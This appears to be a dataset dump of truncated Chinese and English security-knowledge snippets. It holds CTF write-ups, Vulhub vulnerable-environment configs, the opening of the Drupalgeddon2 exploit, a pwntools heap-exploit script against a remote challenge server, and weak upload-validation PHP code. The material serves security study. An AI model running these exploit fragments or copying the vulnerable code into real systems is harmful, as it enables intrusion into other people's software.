text stringlengths 100 9.93M | category stringclasses 11
values |
|---|---|
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging
logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x0... | sec-knowleage |
# fancy-alive-monitoring
Web Exploitation, 400 points
## Description:
> One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell3.picoctf.com:8587 (link)?
```php
<html>
<head>
<title>Monitoring Tool</title>
<script>
function check(){
ip = document.getElementById("ip").val... | sec-knowleage |
---
title: hping3
categories: Information Gathering
tags: [hping3,information gathering,kali linux,spoofing,recon]
date: 2017-04-23 06:52:00
---
0x00 hping3介绍
-------------
hping是面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。作者是Salvatore Sanfilippo,界面灵感来自ping(8)unix命令,目前最新版是hping3,它支持TCP,UDP,ICMP和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以... | sec-knowleage |
# Kioptrix4-WalkThrough
> 文章作者 [xidaner](https://github.com/xidaner) & [r0fus0d](https://github.com/No-Github)
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/kioptrix-level-13-4,25/
**Description**
```
Again a long delay between VMs, but that cannot be help... | sec-knowleage |
chgrp
===
用来变更文件或目录的所属群组
## 补充说明
**chgrp命令** 用来改变文件或目录所属的用户组。该命令用来改变指定文件所属的用户组。其中,组名可以是用户组的id,也可以是用户组的组名。文件名可以 是由空格分开的要改变属组的文件列表,也可以是由通配符描述的文件集合。如果用户不是该文件的文件主或超级用户(root),则不能改变该文件的组。
在UNIX系统家族里,文件或目录权限的掌控以拥有者及所属群组来管理。您可以使用chgrp指令去变更文件与目录的所属群组,设置方式采用群组名称或群组识别码皆可。
### 语法
```shell
chgrp [选项][组群][文件|目录]
```
### 选项
```sh... | sec-knowleage |
from PIL import Image
import sys
s=open(sys.argv[1],"rb").read()
im=Image.new("L", (601, 600))
im.putdata(s)
im.save("out.png") | sec-knowleage |
version: '2'
services:
spring:
image: vulhub/spring-data-commons:2.0.5
ports:
- "8080:8080" | sec-knowleage |
# Green Cabbage (for, 322p, 7 solved)
A pretty random challenge.
It was very simple "technically", but the hardest part was to guess what's going on there.
We get a [pcap](Green_Cabbage.pcap) to analyse.
The only interesting part is some communication with server `37.139.4.247` on port `31337`.
Some base64 binary-looki... | sec-knowleage |
# Level04
#### About
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.
#### Sources
```
#include <stdlib.h>
#include... | sec-knowleage |
# Careers
* Category: Web
* 100 Points
* Solved by the JCTF Team
## Description
> We got hacked,
>
> We're trying to indentify the ROOT cause.
>
> If you are a l33t h4x0r, please upload your resume.
## Solution
The attached website allows uploading CVs:
```html
<div class="bg-dark text-secondary px-4 py-5 text-center... | sec-knowleage |
# Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)
Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。
参考链接:
- https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
- https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%A... | sec-knowleage |
# Shabak Challenge 2021 - אתגר השב"כ 2021
Writeups for the [2021 ISA Challenge](https://shabakchallenge.com/).
Solved with zVaz and YaakovC.
Additional resources (including other writeups) can be found [here](https://github.com/Dvd848/CTFs/discussions/10). | sec-knowleage |
# Malbolge (Misc, 238p, 153 solved)
We can connect to a service which asks us for a Malbolge code which will print `Welcome to EKOPARTY!`:
```
$ nc6 malbolge.ctf.site 40111
nc6: using stream socket
Send a malbolge code that print: 'Welcome to EKOPARTY!' (without single quotes)
```
A bit of googling and we find http://w... | sec-knowleage |
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://tw... | sec-knowleage |
# Kibana Prototype Pollution Leads to Remote Code Execution (CVE-2019-7609)
[中文版本(Chinese Version)](README.zh-cn.md)
Kibana is an open source data visualization dashboard for Elasticsearch.
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with a... | sec-knowleage |
slocate
===
命令查找文件或目录
## 补充说明
**slocate命令** 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。
### 语法
```shell
slocate [-u][--help][--version][-d <目录>][查找的文件]
```
### 选项
```shell
-d<目录>或--database=<目录> 指定数据库所在的目录。
-u 更新slocate数据库。
--help 显示帮助。
--version 显示版本信息。
```
### 实例
使用指令"slocate"显示文件名中含有关键字"fdisk"的文件路径信息,输入如... | sec-knowleage |
split
===
分割任意大小的文件
## 补充说明
**split命令** 可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等。
### 选项
```shell
-b:值为每一输出档案的大小,单位为 byte。
-C:每一输出档中,单行的最大 byte 数。
-d:使用数字作为后缀。
-l:值为每一输出档的行数大小。
-a:指定后缀长度(默认为2)。
```
### 实例
生成一个大小为100KB的测试文件:
```shell
[root@localhost split]# dd if=/dev/zero bs=100k count=1 of=date.file
1+0 reco... | sec-knowleage |
# OverFlow 1
Binary Exploitation, 150 points
## Description:
> You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#d... | sec-knowleage |
## 一、HTML/CSS/JavaScript
> Remember, HTML will define the content and structure of our web pages, while CSS will define the visual style and appearance of our web pages.


如上图所示,html 是一种文本标记语言,可以说决定了页面的骨架,而css 则决定了页面的可视化样式。
selector 常见的就 type(t... | sec-knowleage |
# 基址重定位表
链接器在生成 PE 文件时,它假设执行时 PE 文件会被装载到默认的基地址处,于是将代码和数据的绝对地址都写入到 PE 文件中。如果装载时 PE 文件确实装载到了默认基地址处,就不需要进行重定位;但是,如果转载时 PE 文件装载到了别处,此时文件中的绝对地址就都失效了,因为装载基地址已经改变,代码和数据的实际地址也相应的改变了,这时就需要通过重定位修复绝对地址,使其都能指向正确的位置。
对于 EXE 文件,每个文件在执行时都会使用独立的虚拟地址空间,即总是能装载到在默认基地址处,也就不需要重定位信息;但是,同一个虚拟地址空间中可能存在多个 DLL,可能有的 DLL 就会面临默认基地址已经被占用的情况,所以 DLL ... | sec-knowleage |
mailstat
===
显示到达的邮件状态
## 补充说明
**mailstat命令** 用来显示到达的邮件状态。
### 语法
```shell
mailstat(选项)(参数)
```
### 选项
```shell
-k:保持邮件日志文件的完整性,不清空日志文件;
-l:使用长格式显示邮件状态;
-m:合并任何错误信息到一行中显示;
-o:使用老的邮件日志邮件;
-t:使用简洁的格式显示邮件状态;
-s:如果没有邮件则不输出任何信息。
```
### 参数
邮件日志文件:指定要读取邮件日志文件。 | sec-knowleage |
# Maven
---
## 简介
Maven 翻译为"专家"、"内行",是 Apache 下的一个纯 Java 开发的开源项目。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。
Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。
Maven 也可被用于构建和管理各种项目,例如 C#,Ruby,Scala 和其他语言编写的项目。Maven 曾是 Jakarta 项目的子项目,现为由 Apache 软件基金会主持的独立 Apache 项目。
一个 Java 项目需要确定引入哪些依赖包。例如,如果我们需要用到 commons logging,我们就必须把... | sec-knowleage |
version: '3'
x-airflow-common:
&airflow-common
image: vulhub/airflow:1.10.10
environment:
&airflow-common-env
AIRFLOW__CORE__EXECUTOR: CeleryExecutor
AIRFLOW__CORE__SQL_ALCHEMY_CONN: postgresql+psycopg2://airflow:airflow@postgres/airflow
AIRFLOW__CELERY__RESULT_BACKEND: db+postgresql://airflow:air... | sec-knowleage |
package org.vulhub;
public class HelloMessage {
private String name;
public HelloMessage() {
}
public HelloMessage(String name) {
this.name = name;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
} | sec-knowleage |
# HTTP Parameter Pollution
## Summary
HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "POSTMASTER" "1" "2003-11-02" "Application" "PostgreSQL Server Applications"
.SH NAME
postmaster \- PostgreSQL多用户数据库服务器
.SH SYNOPSIS
.sp
\fBpostmaster\fR\fR [ \fR\fB-A \fR\fB 0\fR | \fB1\fR\fB \fR\fR]\fR\fR [ \fR\fB-B \fInbuffers\fB \fR\fR]\fR\fR [ \fR\fB-c \... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "LOAD" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
LOAD \- 装载或重载一个共享库文件
.SH SYNOPSIS
.sp
.nf
LOAD '\fIfilename\fR'
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
这个命令装载一个共享库文件到PostgreSQL服务器的地址空间。 一旦一个文件被装载,如果该文件前面曾经装载过,那么服务器首先会卸载它。 这条命令主要用于在一个共享库件修... | sec-knowleage |
version: '2'
services:
web:
image: vulhub/imagemagick:7.1.0-39-php
command: php -t /var/www/html -d error_reporting=-1 -d display_errors=On -S 0.0.0.0:8080
volumes:
- ./web:/var/www/html
ports:
- "8080:8080" | sec-knowleage |
# RFID基础知识
> 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [r0fus0d](https://github.com/No-Github)
---
## 简介
RFID 英文全称 Radio Frequency Identification, 射频识别, 又称电子标签, 无线射频识别, 感应式电子晶片, 近接卡、感应卡、非接触卡、电子条码。
RFID 射频识别是一种非接触式的自动识别技术, 它通过射频信号自动识别目标对象并获取相关数据, 识别工作无须人工干预, 可工作于各种恶劣环境. RFID 技术可识别高速运动物体并可同时识别多个标签, 操作快捷方便.
短... | sec-knowleage |
<?php
if (!empty($_FILES)):
// Check for errors
if($_FILES['file_upload']['error'] > 0){
die('An error ocurred when uploading.');
}
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
die('Please ensure you are uploading an image.');
}
// Check filetype
if(stripos($_FILES['file_upload']['type'], 'image/'... | sec-knowleage |
# meow (RE/Crypto/Pwn 365)
###ENG
Judging by points alone, this was most difficult challenge on the CTF - probably because of unusual mix of cryptography, RE and PWN.
We are given strange binary, that asks us for a password and decrypts two chunks od data with it:
```asm
lea rdi, aHello? ; "***** hello? *****\n>... | sec-knowleage |
# Exclusive Bomb
Category: Special, 250 Points
## Description
>
> Agent! Your special skills are required once more.
>
> A bomb threatens the agency's main facility and stakes are high. We need you to determine which of the wires to cut, either the red or the green. But never both!
>
> Try and defuse the bomb in (LI... | sec-knowleage |
# S2-048 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.32
Details:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
## Setup
```... | sec-knowleage |
# 21. 调整数组顺序使奇数位于偶数前面
## 题目链接
[牛客网](https://www.nowcoder.com/practice/ef1f53ef31ca408cada5093c8780f44b?tpId=13&tqId=11166&tab=answerKey&from=cyc_github)
## 题目描述
需要保证奇数和奇数,偶数和偶数之间的相对位置不变,这和书本不太一样。例如对于 [1,2,3,4,5],调整后得到 [1,3,5,2,4],而不能是 {5,1,3,4,2} 这种相对位置改变的结果。
<div align="center"> <img src="https://cs-notes-1256109796.c... | sec-knowleage |
# ATT&CK矩阵的SOC建设
~~本文主要内容来自[ATT&CK矩阵Linux系统安全实践](https://www.freebuf.com/articles/es/231784.html)一文, 感谢作者的分享。~~
本文只做笔记与自我思考的记录, 如有侵权请告知,感谢!
## 1. 建设思路汇总
- 方案1: 从主机信息采集出发,进行基于ATT&CK矩阵的入侵检测
- 方案2: 从网络层面、主机层和Windows服务器出发,进行入侵溯源
- 方案3: 基于**Sysmon**的企业级威胁检测与响应闭环[3]
## 1.1 方案一详解
### 入侵检测
#### 思路
> 入侵检测是指通过对采集来的数据进行检查,并根据观察到的... | sec-knowleage |
# Apache Druid Embedded Javascript Remote Code Execution (CVE-2021-25646)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Druid is an open source, distributed data store that is designed for ingesting high volumes of data to provide instant data visibility, ad-hoc analytics and queries with low latency and high concu... | sec-knowleage |
## 404 Flag not found (Misc, 80p)
I tried to download the flag, but somehow received only 404 errors :( Hint: The last
step is to look for flag pattern.
###ENG
[PL](#pl-version)
This task wsa more of stegano than misc. Pcap file contained a lot of requests to sites such as
12332abc.example.com. After collecting all ... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "INSERT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
INSERT \- 在表中创建新行
.SH SYNOPSIS
.sp
.nf
INSERT INTO \fItable\fR [ ( \fIcolumn\fR [, ...] ) ]
{ DEFAULT VALUES | VALUES ( { \fIexpression\fR | DEFAULT } [, ...] ) | \fIquery\fR }
.... | sec-knowleage |
# 控制程序执行流
在控制程序执行流的过程中,我们可以考虑如下方式。
## 直接控制 EIP
## 返回地址
即控制程序栈上的返回地址。
## 跳转指针
这里我们可以考虑如下方式
- call
- jmp
## 函数指针
常见的函数指针具有
- vtable, function table,如 IO_FILE 的 vtable,printf function table。
- hook 指针,如 `malloc_hook`,`free_hook`。
- handler
## 修改控制流相关变量 | sec-knowleage |
# Cody's First Blog - FLAG1
## 0x00 Home

## 0x01 Check the Source
Press **F12** to check the source.

An admin login address shows up.
## 0x02 Visit Admin Page
http://127.0.0.1/xxxxxxxxxx/?page=admin.auth.inc

## 0x03 FLAG
Try remove **auth** from t... | sec-knowleage |
.TH Iptables 8 "iptables 中文手册" ""
.SH NAME
iptables - IP包过滤器管理
.SH 总览
iptables -ADC 指定链的规则 [-A 添加 -D 删除 -C 修改]
.br
iptables - RI
.br
iptables -D chain rule num[option]
.br
iptables -LFZ 链名 [选项]
.br
iptables -[NX] 指定链
.br
iptables -P chain target[options]
.br
iptables -E old-chain-name new-chain-name
.SH 说明
Iptalbe... | sec-knowleage |
# ForceCoin
Category: Reversing, 150 points
## Description
> Our agent from the field has obtained a few files related to a program that is used by a terrorist organization!
>
> This zip contains the program and a db file.
>
> We need your help parsing the db!
>
> Give it your best, we heard that they use it and tha... | sec-knowleage |
# God-Linux
<p align="center">
<a href="https://en.wikipedia.org/wiki/The_Portrait_(Magritte)"><img src="../../../assets/img/banner/God-Linux.jpg" width="90%"></a>
</p>
<p align="center">
<a href="https://github.com/ellerbrock/open-source-badges/"><img src="../../../assets/img/Integrated/Linux/open-source.png" ... | sec-knowleage |
# Who am I
Misc, 100 points
## Description:
> What is the A record for tamuctf.com?
> (Not in standard gigem{flag} format)
## Solution:
We can use `host` to determine the A record for the server.
```console
root@kali:/media/sf_CTFs/tamu# host -a tamuctf.com
Trying "tamuctf.com"
;; ->>HEADER<<- opcode: QUERY, status: NO... | sec-knowleage |
version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- di... | sec-knowleage |
.TH HOSTNAME "1" "1996年1月28日" "net-tools(网络工具)" "Linux Programmer's Manual(Linux程序员手册)"
.SH NAME(名称)
hostname \- 显示或设置系统的主机名
.br
domainname \- 显示或设置系统的NIS/YP域名
.br
dnsdomainname \- 显示系统的DNS域名
.br
nisdomainname \- 显示或设置系统的NIS/YP域名
.br
ypdomainname \- 显示或设置系统的NIS/YP域名
.br
nodename \- 显示或设置系统的DECnet节点名
.SH SYNOPSIS(总览)
.B... | sec-knowleage |
# EKOVM (vm, 465 points, 22 solves)
Lets try to solve another challenge blackbox-ish-ly.

Upon inspecting the binary we discover two important facts:
The random generator inside the cipher is seeded with time:
``` c++
__int64 (__fastcall *__fastcall sub_48A0(__int64 a1))()
{
unsigned int v1; // e... | sec-knowleage |
## RSA (Crypto, 113p)
###ENG
[PL](#pl-version)
In the task we get source code of encryption routine, a public key and encrypted flag.
The source code is quite simple:
```python
import gmpy
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
flag = open('flag', 'r').rea... | sec-knowleage |
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de ... | sec-knowleage |
# Speed-HTML
<p align="center">
<a href="https://twitter.com/vincentdnl/status/1275820987909648384"><img src="../../../../assets/img/banner/Speed-HTML.jpg" width="58%"></a>
</p>
---
## 字符实体
HTML 中的预留字符必须被替换为字符实体。
一些在键盘上找不到的字符也可以使用字符实体来替换。
**HTML 实体**
在 HTML 中,某些字符是预留的。
在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
如果... | sec-knowleage |
# T1222-001-win-fltmc卸载筛选器驱动程序
## 来自ATT&CK的描述
文件和目录权限通常由文件或目录所有者指定的任意访问控制列表(DACL)管理。文件和目录DACL的实现因平台而异,但通常会明确指定它们,以便用户/组可以执行操作,例如读取,写入,执行等。
攻击者可以修改文件或目录的权限或属性,以逃避预期的DACL。修改可能包括更改特定的访问权限,这可能需要获取文件或目录的所有权或提升的权限(例如Administrator/root),具体取决于文件或目录的现有权限以启用恶意活动,例如修改,替换或删除特定文件目录。特定文件和目录修改可能是许多技术所必需的步骤,例如,通过可访问性功能,登录脚本建立持久性,或污染、劫... | sec-knowleage |
# 32.1 从上往下打印二叉树
[NowCoder](https://www.nowcoder.com/practice/7fe2212963db4790b57431d9ed259701?tpId=13&tqId=11175&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
从上往下打印出二叉树的每个节点,同层节点从左至右打印。
例如,以下二叉树层次遍历的结果为:1,2,3,4,5,6,7
<div align="center"> <img src="https://cs... | sec-knowleage |
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP DOMAIN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP DOMAIN \- 删除一个用户定义的域
.SH SYNOPSIS
.sp
.nf
DROP DOMAIN \fIname\fR [, ...] [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP DOMAIN\fR 将从系统表中删除一个用户域。 只有域的所有者才能... | sec-knowleage |
version: "2"
services:
nacos:
image: nacos/nacos-server:1.4.0
container_name: nacos-standalone-mysql
env_file:
- ./env/nacos-standlone-mysql.env
volumes:
- ./standalone-logs/:/home/nacos/logs
- ./init.d/nacos.properties:/home/nacos/init.d/custom.properties
ports:
- "8848:88... | sec-knowleage |
from pwn import *
import struct
#r=remote("localhost", 1337)
r=remote("pwn.rhme.riscure.com", 1337)
def new(name):
r.sendline("1")
r.sendline(name)
r.sendline("1")
r.sendline("1")
r.sendline("1")
r.sendline("1")
def delete(i):
r.sendline("2")
r.sendline(str(i))
def select(i):
r.s... | sec-knowleage |
# Zabbix Server trapper命令注入漏洞(CVE-2017-2824)
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求,从而触发漏洞。
参考链接:
- https://talosintelligence.com/reports/TALOS-2017-0325
## 环境搭建
执行如下命令启动一个完整的Zabbix环境,包含Web端、Server端、1个Agent和... | sec-knowleage |
swapoff
===
关闭指定的交换空间
## 补充说明
**swapoff命令** 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区。
### 语法
```shell
swapoff(选项)(参数)
```
### 选项
```shell
-a:关闭配置文件“/etc/fstab”中所有的交换空间。
```
### 参数
交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。
### 实例
关闭交换分区
```shell
swapoff /dev/sda2
``` | sec-knowleage |
### 堆中的 Off-By-One介绍
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。
### 堆中的off-by-one 漏洞原理
off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
- 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
- 字符串操作不合适
一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管... | sec-knowleage |
# HTML字符实体
---
## HTML ASCII
**可显示的 ASCII 代码**
| 结果 | 描述 | 实体编号 |
| - | - | - |
| ` ` | space | ` ` |
| `!` | exclamation mark | `!` |
| `"` | quotation mark | `"` |
| `#` | number sign ... | sec-knowleage |
pv
===
显示当前在命令行执行的命令的进度信息,管道查看器
## 补充说明
**pv命令** Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。
## 下载安装
```shell
# Debian 系的操作系统,如 Ubuntu
sudo apt-get install pv
# RedHat系的则这样:
yum install pv
```
### 语法
```shell
pv(选项)(参数)
pv [OPTION] [FILE]...
```
### 选项
``... | sec-knowleage |
# B1ll_Gat35
Reverse Engineering, 400 points
## Description:
> Can you reverse this Windows Binary?
## Solution:
This is a Windows reversing challenge. Let's start by running the executable:
```console
E:\CTFs\pico\B1ll_Gat35>win-exec-1.exe
Input a number between 1 and 5 digits: 1
Initializing...
Enter the correct key ... | sec-knowleage |
# 0x00 简介
在Windows中我们的马还可以是多种形势比如`JavaScript`、`VBScript`、`hta` ,因此出现一个工具DotNetToJScript
它可以利用这些脚本文件来加载.NET 然后执行我们的文件。
贴心的大佬们已经给大家准备好了 https://github.com/mdsecactivebreach/CACTUSTORCH
上面有各种脚本的利用方式,还有支持 `Cobalt Strike` 的cna文件,但是现在直接引入会被微软的AMSI拦截,推特上有很多大佬的bypass方法大家可以关注一下。
当然它只是一种思路你直接使用AV肯定把你拦截。
# 0x01 HTA
前面我们讲过`Cobalt ... | sec-knowleage |
import codecs
from PIL import Image
def convert_color(color):
red = (240, 110, 120, "red")
green = (40, 240, 175, "green")
blue = (85, 110, 240, "blue")
cyan = (70, 215, 240, "cyan")
yellow = (235, 230, 150, "yellow")
orange = (230, 200, 130, "orange")
white = (220, 220, 240, "white")
... | sec-knowleage |
lspci
===
显示当前主机的所有PCI总线信息
## 补充说明
**lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。
### 语法
```shell
lspci(选项)
```
### 选项
```shell
-n:以数字方式显示PCI厂商和设备代码;
-t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接;
-b:以总线为中心的视图;
-d:仅显示给定厂商和设备的信息;
-s:仅显示指定总线、插槽上的设备和设备上的功能块信息;
-i:指定PCI编号列表文件,而不使用默认的文件;
-m:以机器可读方式显示PCI设备信息。
```
### 实例
```... | sec-knowleage |
<?php
/*
+-------------------------------------------------------------------------+
| Copyright (C) 2004-2020 The Cacti Group |
| |
| This program is free software; you can redistribute it and/or |
| ... | sec-knowleage |
---
title: Proto.io
date: 2022-11-23 16:23:31.694775
background: bg-[#5697a9]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 48 keyboard shortcuts found in Proto.io
---
Keyboard Shortcuts
------------------
### Main
Shortcut | Action
---|---
`Ctrl` `F` | Fin... | sec-knowleage |
---
title: C#
date: 2021-12-14 12:22:00
background: bg-[#8c4c8a]
tags:
- object-oriented
- class
categories:
- Programming
intro: |
C# quick reference cheat sheet that provides basic syntax and methods.
plugins:
- copyCode
---
Getting Started
--------
### Hello.cs
```cs
class Hello {
// main metho... | sec-knowleage |
bunzip2
===
可解压缩.bz2格式的压缩文件。
## 补充说明
bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**,即软链接,因此解压都可以通过bzip2 -d实现。
### 语法
```shell
bunzip2(选项)(参数)
```
### 选项
```shell
-f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件;
-k或——keep:在解压缩后,预设会删除原来的压缩文件。若要保留压缩文件,... | sec-knowleage |
# Mojarra JSF ViewState 反序列化漏洞
JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。
参考链接:
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https... | sec-knowleage |
version: '3'
services:
node1:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- --console-address
- :9001
- http://node1:9000/mnt/data1
- http://node2:9000/m... | sec-knowleage |
'\" t
.TH "SYSTEMD\-NOTIFY" "1" "" "systemd 231" "systemd-notify"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http... | sec-knowleage |
restore
===
所进行的操作和dump指令相反
## 补充说明
**restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。
### 语法
```shell
restore(选项)
```
### 选项
```shell
-b<区块大小>:设置区块大小,单位为Byte;
-c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件;
-C:使用对比模式,将备份的文件与现行的文件相互对比;
-D<文件系统>:允许用户指定文件系统的名称;
-f<备份文件>:从指定的文件中读取备份数据,进行还原操作;
-h:仅解除目录而不包括与该目录相关... | sec-knowleage |
# Shell 基础
Shell 是 Linux 上的一个程序(用 C 语言编写),类似于 Window 上的 DOS,不过比 DOS 强大的多。Shell 既是一种命令语言,又是一种程序设计语言。
实际上Shell是一个命令解释器,它解释由用户输入的命令并且把它们送到内核。不仅如此,Shell有自己的编程语言用于对命令的编辑,它允许用户编写由shell命令组成的程序
### shell版本
每个Linux系统的用户可以拥有他自己的用户界面或Shell,想看看你的Shell是哪一种,执行下面的命令
```
echo $SHELL
```
### 运行 Shell scripts 有两种方法:
- 作为可执行程序
将上面的代码保存为... | sec-knowleage |
# 构建工具
<!-- GFM-TOC -->
* [构建工具](#构建工具)
* [一、构建工具的作用](#一构建工具的作用)
* [二、Java 主流构建工具](#二java-主流构建工具)
* [三、Maven](#三maven)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、构建工具的作用
构建一个项目通常包含了依赖管理、测试、编译、打包、发布等流程,构建工具可以自动化进行这些操作,从而为我们减少这些繁琐的工作。
其中构建工具提供的依赖管理能够可以自动处理依赖关系。例如一个项目需要用到依赖 A,A 又依赖于 B,那么构建工具就能帮我们导入 B,而不需要我们手动去寻... | sec-knowleage |
# T1584-006-盗取基础设施-web服务
## 来自ATT&CK的描述
攻击者可能会破坏对第三方网络服务的访问,这些服务可以在攻击目标期间使用。有各种流行的网站供合法用户注册基于网络的服务,如GitHub、Twitter、Dropbox、谷歌等。攻击者可能会尝试取得合法用户对网络服务的访问权,并将该网络服务用作支持网络操作的基础设施。此类Web服务可能会在攻击生命周期的后期阶段被滥用,例如在命令和控制 (Web服务) 或通过 Web服务渗透。使用通用服务,例如Google或Twitter提供的服务,可以让攻击者更容易隐藏在预期的噪音(正常行为中)中。通过使用Web服务,特别是当合法用户的访问权限被盗时,可能很难将操作与他们(... | sec-knowleage |
## Piapiapia (Web, 6p)
###ENG
[PL](#pl-version)
We get a page and its source. It looks like flag is stored inside config.php.
All inputs seem pretty well validated but 'nickname' doesn't handle arrays well.
Validation is skipped when passed as 'nickname[]='.
SQL injection will be hard, as all backslashes and "unsafe" w... | sec-knowleage |
# Smash
Reversing, 150 points
## Description
> We discovered this old CD from the 90s in our attic. It looks like it used to register you to a WWE betting community back in the day, but we seem to have lost the access code. Can you get us in?
A binary file was attached.
## Solution
Let's run the binary:
```console
